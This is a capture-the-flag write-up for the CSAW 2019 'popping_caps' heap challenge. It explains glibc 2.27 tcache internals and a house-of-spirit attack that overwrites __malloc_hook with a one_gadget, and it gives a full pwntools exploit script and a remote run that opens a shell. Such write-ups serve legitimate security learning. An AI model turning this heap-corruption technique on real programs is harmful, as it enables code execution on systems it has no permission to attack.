[Pwn] csaw 2019 - popping_caps

popping_caps

Description:
350

You ever wonder why cowboys have 7-shooters and not an even number?

nc pwn.chal.csaw.io 1001
popping_caps
libc.so.6

Analysing the binary

1
2
3
4
5
6
7
$ checksec popping_caps
[*] '/ctf/work/pwn/popping_caps/popping_caps'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled



1
2
$ file popping_caps
popping_caps: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=0b94b47318011a2516372524e7aaa0caeda06c79, not stripped

Running and testing the binary:

1
2
3
4
5
6
7
8
$ ./popping_caps 
Here is system 0x7f9bcaead440
You have 7 caps!
[1] Malloc
[2] Free
[3] Write
[4] Bye
Your choice:

We can see from the beginning we already have libc leaked! So we don’t even need to worry about that besides that we have 4 options we can malloc, free, write and exit.

Finding the vulnerability

Free Libc



Main Function



Bye Function


Exploit plan

We can only do 7 actions which is pretty low luckily libc is already leaked so we don’t need to waste any actions on doing that.

  • Libc version is 2.27 we know that tcache is being used we also know from our analysis above use after free is not directly possible so we can already discard tcache poisoning.
  • We can use tcache dup which involves double freeing, during the ctf I tried to use this technique but I quickly realized that it used way too many actions so I also discarded this.
  • We can free on any place in the heap so we can use tcache house of spirit we also need to create a fake chunk in the place we want to write due to security checks.
  • Using house of spirit to corrupt tcache_perthread_structs entries is the way to go.

So the exploit plan is:

  1. Malloc with size of 0x3a8.
  2. free it to increase the counter of that tcachebin(0x100) to 1 creating a fake chunk of size 0x100.
  3. Free this fake chunk by using the negative index of -0x210 (House of spirit).
  4. Malloc with size of 0xf8 will return the pointer at the first tcache entry (size 0x20).
  5. Edit the first entry with the pointer of malloc_hook.
  6. Malloc with size of 0x20 the pointer returned will be malloc_hook.
  7. Edit malloc_hook with one_gadget.

tcache_perthread_struct

The tcache_perthread_struct is allocated via _int_malloc, so it resides on the heap. The counts member is mostly uninteresting but corrupting the entries array makes it possible to do what tcache poisoning does but in less steps.

The tcache_pthread_struct is the body of a single tcache thread and consists of two arrays. Among them, the data entries represents the tcache linked list, a total of TCACHE_MAX_BINS (default is 64), the counts array represents the number of memory blocks in each single linked list.

The data structure is very similar to a fastbin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/* We overlay this structure on the user-data portion of a chunk when
the chunk is stored in the per-thread cache. */
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;

/* There is one of these for each thread, which contains the
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

static __thread bool tcache_shutting_down = false;
static __thread tcache_perthread_struct *tcache = NULL;

Constant definition: As can be seen from the constants, in the default configuration, the maximum number of singly linked lists in the structure is 64, and there are up to 7 memory blocks in each singly linked list. The maximum memory block size that can be accommodated is 0x408 (1032 in decimal).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#if USE_TCACHE
/* We want 64 entries. This is an arbitrary limit, which tunables can reduce. */
# define TCACHE_MAX_BINS 64
# define MAX_TCACHE_SIZE tidx2usize (TCACHE_MAX_BINS-1)

/* Only used to pre-fill the tunables. */
# define tidx2usize(idx) (((size_t) idx) * MALLOC_ALIGNMENT + MINSIZE - SIZE_SZ)

/* When "x" is from chunksize(). */
# define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)
/* When "x" is a user-provided size. */
# define usize2tidx(x) csize2tidx (request2size (x))

/* With rounding and alignment, the bins are...
idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit)
idx 1 bytes 25..40 or 13..20
idx 2 bytes 41..56 or 21..28
etc. */

/* This is another arbitrary limit, which tunables can change. Each
tcache bin will hold at most this number of chunks. */
# define TCACHE_FILL_COUNT 7
#endif

Debugging with GDB

If we want to corrupt the tcache_perthread_struct we need to know where it is located in the heap, pwndbg already gives us cool commands like tcache, tcachebins that show us the linked lists in a pretty way but we kind need to view it in a hexdump view so we can start planing on how to corrupt.

The heap will only initiate at the first allocation so lets allocate and see what happens:



So lets look how tcache struct looks like in a hexdump, if we use p tcache command in gdb it doesn’t work:

1
2
3
pwndbg> p tcache
Cannot find thread-local storage for process 7678, shared library /lib/x86_64-linux-gnu/libc.so.6:
Cannot find thread-local variables on this target

We need to do it like this:

1
2
3
4
5
pwndbg> p *(struct tcache_perthread_struct *)0x55f21c0fd000
$1 = {
counts = "\000\000\000\000\000\000\000\000Q\002", '\000' <repeats 53 times>,
entries = {0x0 <repeats 64 times>}
}

Showing it as hex dump:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> x/40gx 0x55f21c0fd000
0x55f21c0fd000: 0x0000000000000000 0x0000000000000251
0x55f21c0fd010: 0x0000000000000000 0x0000000000000000
0x55f21c0fd020: 0x0000000000000000 0x0000000000000000
0x55f21c0fd030: 0x0000000000000000 0x0000000000000000
0x55f21c0fd040: 0x0000000000000000 0x0000000000000000
0x55f21c0fd050: 0x0000000000000000 0x0000000000000000
0x55f21c0fd060: 0x0000000000000000 0x0000000000000000
0x55f21c0fd070: 0x0000000000000000 0x0000000000000000
0x55f21c0fd080: 0x0000000000000000 0x0000000000000000
0x55f21c0fd090: 0x0000000000000000 0x0000000000000000
0x55f21c0fd0a0: 0x0000000000000000 0x0000000000000000
0x55f21c0fd0b0: 0x0000000000000000 0x0000000000000000
0x55f21c0fd0c0: 0x0000000000000000 0x0000000000000000
0x55f21c0fd0d0: 0x0000000000000000 0x0000000000000000
0x55f21c0fd0e0: 0x0000000000000000 0x0000000000000000
0x55f21c0fd0f0: 0x0000000000000000 0x0000000000000000
0x55f21c0fd100: 0x0000000000000000 0x0000000000000000
0x55f21c0fd110: 0x0000000000000000 0x0000000000000000
0x55f21c0fd120: 0x0000000000000000 0x0000000000000000
0x55f21c0fd130: 0x0000000000000000 0x0000000000000000

Now explaining each field of the struct and why we should malloc(0x3a8) to create a fake chunk:


This is what house of spirit is about, freeing a fake chunk which will be inserted into the tcachebin of that range, next malloc will be written in the position we want write.

To calculate the offset to free we can simply do some math:



This is how it looks after freeing the fake chunk:



Next malloc(0xf8):



Edit with malloc_hook edit(p64(MALLOC_HOOK)):



Malloc(0x18) because the pointer is in the tcachebin(0x20):



Malloc returns malloc_hook:



Finally edit(p64(one_gadget)):



The final malloc at bye will trigger the hook and we get a shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ python popping_caps.py REMOTE
[*] '/ctf/work/pwn/popping_caps/popping_caps'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/ctf/work/pwn/popping_caps/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to pwn.chal.csaw.io on port 1001: Done
[*] SYSTEM 0x7f99382e1440
[*] LIBC 0x7f9938292000
[*] one_gadget 0x7f993839c38c
[*] MALLOC_HOOK 0x7f993867dc30
[*] Switching to interactive mode
BANG!
Bye!$ ls
flag.txt
popping_caps
$ cat flag.txt
flag{1tsh1ghn000000000n}

The full exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
host, port = "pwn.chal.csaw.io", "1001"
filename = "./popping_caps"
elf = ELF(filename)
context.arch = 'amd64'

if not args.REMOTE:
libc = elf.libc
else:
libc = ELF('./libc.so.6')

def getConn():
return process(filename) if not args.REMOTE else remote(host, port)

def get_PIE(proc):
memory_map = open("/proc/{}/maps".format(proc.pid),"rb").readlines()
return int(memory_map[0].split("-")[0],16)

def debug(bp):
script = ""
PIE = get_PIE(r)
PAPA = PIE
for x in bp:
script += "b *0x%x\n"%(PIE+x)
gdb.attach(r,gdbscript=script)
def add(size):
r.sendlineafter('Your choice: \n', '1')
r.sendlineafter('How many: \n', str(size))

def free(index):
r.sendlineafter('Your choice: \n', '2')
r.sendlineafter('Whats in a free: \n', str(index))


def edit(content):
r.sendlineafter('Your choice: \n', '3')
r.sendafter('Read me in: \n', content)

context.terminal = ['tmux', 'new-window']
r = getConn()
if not args.REMOTE and args.GDB:
debug([0xbd0,0xc0e,0xa74]) # malloc 0xbd0 ; free 0xc0e
r.recvuntil('Here is system ')
SYSTEM = int(r.recvline().rstrip(),16)
LIBC = SYSTEM - libc.symbols['system']
MALLOC_HOOK = LIBC+libc.symbols['__malloc_hook']
one_gadget = LIBC +0x10a38c
log.info("SYSTEM 0x%x"%SYSTEM)
log.info("LIBC 0x%x"%LIBC)
log.info("one_gadget 0x%x"%one_gadget)
log.info("MALLOC_HOOK 0x%x"% MALLOC_HOOK)
#context.log_level='debug'
add(0x3a8)
free(0)
free(-0x210)
add(0xf8)
edit(p64(MALLOC_HOOK))
add(0x10)
edit(p64(one_gadget))

r.interactive()
r.close() #